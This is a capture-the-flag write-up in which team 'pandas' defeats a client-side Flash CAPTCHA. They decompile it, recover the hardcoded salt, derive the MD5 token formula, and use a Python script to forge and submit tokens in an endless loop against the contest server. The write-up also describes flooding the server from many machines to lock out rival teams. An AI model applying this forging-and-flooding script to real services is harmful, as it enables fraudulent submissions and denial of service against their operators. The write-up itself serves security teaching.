                                                                     
                                                                     
                                                                     
                                             
a....
                       __    _                         __    _ 
 _      ______  ____  / /_  (_)  _      ______  ____  / /_  (_)
| | /| / / __ \/ __ \/ __ \/ /  | | /| / / __ \/ __ \/ __ \/ / 
| |/ |/ / /_/ / /_/ / /_/ / /   | |/ |/ / /_/ / /_/ / /_/ / /  
|__/|__/\____/\____/_.___/_/    |__/|__/\____/\____/_.___/_/   
                                                               
                           __          
    ____  ____ _____  ____/ /___ ______
   / __ \/ __ `/ __ \/ __  / __ `/ ___/
  / /_/ / /_/ / / / / /_/ / /_/ (__  ) 
 / .___/\__,_/_/ /_/\__,_/\__,_/____/  
/_/                                    

                                            Production
                                            


===[ Solving the CAPTCHA challenge
by [pandas] ero && parki


===[ Introduction

This challenge seemed to require to beat a CAPTCHA scheme. The challenge was
set up so that each team had to pass the CAPTCHA to gain a point. The objective
of the challenge was to obtain as many points as possible during the duration
of the competition (24h)

===[ Challenge details


After loading the page the user is presented with a menu where he has to choose
his/her team and then pass a CAPTCHA to validate he or she is human.
Upon inspecting the traffic it was easy to see that the CAPTCHA was a local
measure, no checks were done against the server.

The only information flowing from the server to the client was a number
(keyString variable) passed in the HTTP transaction.

Studying the HTTP requests, we could see the format of the request passed back
(once the CAPTCHA was completed). It included the team name and a token.

codegatetmName=pandas&tokenString=0eb673c2fb90f352cfc96945cff8a704

The CAPTCHA itself was usles if we could figure out where the hash was coming
from.

From the HTTP interaction it was obvious that the CAPTCHA verification was done
locally and didn't play a role at all in the hash that was being sent. 

So we used a Flash decompiler to get the source code and we were able to verify
two things:

1. That the CAPTCHA was useless.
2. That we only needed the keyString to generate valid tokenStrings.


===[ Understanding the code

First we located the captcha code.

If you check the code at com.vbeist.controls.CaptchaEntryForm you'll see that
it basically calls generateCaptcha and regenerateCaptcha to create it.

And these functions spit a bunch of random alphanumeric characters...

The most important part of the CaptchaEntryForm is at

        public function verifyCode() : void
        {
            if (input.text == code)
            {
                PopUpManager.removePopUp(this);
                _filterBox.submitToService();
            }
            else
            {
                instructions.text = "Sorry, the code you\'ve entered doesn\'t match.  Please try again.";
                instructions.y = 25;
                regenerateCaptcha();
            }// end else if
            return;
        }// end function

This function gets called when you clicked on OK in the captcha box.
If the input is fine it just calls the submitToService() function of the
_filterBox, which is an instance of 

        private var _filterBox:FilteringTextBox;

After following some more code, at com.vbeist.controls.FilteringTextBox we found

        public function submitToService() : void
        {
            var _loc_1:* = new SubmitVoteEvent();
            var _loc_2:* = Application.application.parameters.keyString;
            var _loc_3:* = MD5.encrypt(string + appModel.string + _loc_2);
            _loc_1.tokenString = _loc_3;
            _loc_1.codegatetmName = appModel.codegatetmVote;
            _loc_1.dispatch();
            return;
        }// end function


keyString comes as an application parameter, it is passed from the HTML.
So now we lack appModel.string and string...

If we locate the class definition, we have:

        private var string:String = "sad435jkl43j534seb1spci3h3kkkkl";

Which seems clear to be our "string" (note the case-sensitiveness)


So on to find the appModel.string...

If you look close at the code in com.vbeist.controls.ApplicationModelLocator
you'll see there is a getter for the *property* string. Interesting!

        public function get string() : String
        {
            return this._891985903string;
        }// end function


So, again, if you check the class definition you'll see:

        private var _891985903string:String = "codegatetmName";



===[ To sum up

So, if the CAPTCHA input matched the generated one, the hash was created: 

hash = MD5( 'sad435jkl43j534seb1spci3h3kkkkl' + 'codegatetmName' + keyString ) 

and was sent through POST to:

http://192.168.100.21/services/codegatetm_count.jsp


===[ Solution

Once we knew the details we then automated the whole functionality (see script):

-get keyString
-generate hash
-submit hash

and ran multiple processes to obtain as many tokens as possible.


===[ Script

Included here is the original script. It saw some optimizations as the contest
run in order to better handle a larger number of requests. The optimized
scripts are not included.


#!/opt/local/bin/python2.5

import os
import time
import urllib
import hashlib
import re

def pandalize(md5_hash):
    """Take a MD5 hash and query .21"""
    
    html_data = ''
    
    print 'Querying hash:', md5_hash
    
    params = urllib.urlencode({'codegatetmName': 'pandas', 'tokenString': md5_hash})
    f = urllib.urlopen('http://192.168.100.21/services/codegatetm_count.jsp', params)
    html_data = f.read()
    f.close()

    success = False
    match = re.search('<success>.*1,.*</success>', html_data, re.S)
    if match:
        success = True
        
    #print html_data
    return success


def get_key_string():
    """"""

    html_data = ''

    f = urllib.urlopen('http://192.168.100.21/')
    html_data = f.read()
    f.close()

    #print html_data

    # Scan for all results
    #
    key_string = None
    match = re.search('keyString=(\d+).amp;kioskMode', html_data, re.S)
    if match:
        key_string = match.group(1)

    return key_string


if __name__ == '__main__':
    
    while True:
    
        keyString = get_key_string()
        if keyString is None:
            print 'Error, retrying...'
            time.sleep(.3)
            continue
    
        code = 'sad435jkl43j534seb1spci3h3kkkkl' + 'codegatetmName' + keyString
    
        code_md5 = hashlib.md5(code).hexdigest()
        if not pandalize(code_md5):
            print 'No success!!! === sad Panda :-('
            #os.sys.exit(1)
            
            
===[ Server load and pwning the context

Given the configuration of the challenge, once we figured out the solution and
automated it we started obtaining a large number of points. The load of the
server increased to handle as many requests as we could make from all our
systems. This led to the fact that, even when another team figured out the
solution, it was impossible for them to catch up before the end of the contest.
The contest was closed after a few ours with our team having nearly 2 million
points of advantage over the only other team that solved the challenge.


